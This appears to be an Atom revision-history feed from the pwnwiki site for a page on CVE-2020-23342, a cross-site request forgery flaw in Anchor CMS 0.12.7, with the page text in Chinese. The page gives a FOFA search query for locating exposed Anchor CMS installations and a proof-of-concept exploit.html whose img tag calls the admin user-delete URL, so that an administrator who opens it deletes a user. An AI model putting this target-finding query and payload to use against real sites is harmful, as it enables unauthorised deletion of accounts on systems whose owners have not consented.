<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-23342_Anchor_CMS_0.12.7_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%83%9E%E9%80%A0%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-23342 Anchor CMS 0.12.7 跨站請求僞造漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-23342_Anchor_CMS_0.12.7_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%83%9E%E9%80%A0%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-23342_Anchor_CMS_0.12.7_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%83%9E%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T04:37:59Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-23342_Anchor_CMS_0.12.7_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%83%9E%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;diff=3232&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==FOFA== &lt;pre&gt; &quot;Anchor CMS&quot; &amp;&amp; body=&quot;themes/default/img/favicon.png&quot; &lt;/pre&gt;  ==POC== Anchor CMS使用Get方法進行敏感操作，可以使用exploit.html進行刪除用戶...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-23342_Anchor_CMS_0.12.7_%E8%B7%A8%E7%AB%99%E8%AB%8B%E6%B1%82%E5%83%9E%E9%80%A0%E6%BC%8F%E6%B4%9E&amp;diff=3232&amp;oldid=prev"/>
		<updated>2021-05-23T04:59:38Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==FOFA== &amp;lt;pre&amp;gt; &amp;quot;Anchor CMS&amp;quot; &amp;amp;&amp;amp; body=&amp;quot;themes/default/img/favicon.png&amp;quot; &amp;lt;/pre&amp;gt;  ==POC== Anchor CMS使用Get方法進行敏感操作，可以使用exploit.html進行刪除用戶...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;Anchor CMS&amp;quot; &amp;amp;&amp;amp; body=&amp;quot;themes/default/img/favicon.png&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
Anchor CMS使用Get方法進行敏感操作，可以使用exploit.html進行刪除用戶等操作。&lt;br /&gt;
&lt;br /&gt;
exploit.html&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://target/anchor/index.php/admin/users/delete/21&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
當管理員點擊時刪除ID為21的用戶。&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>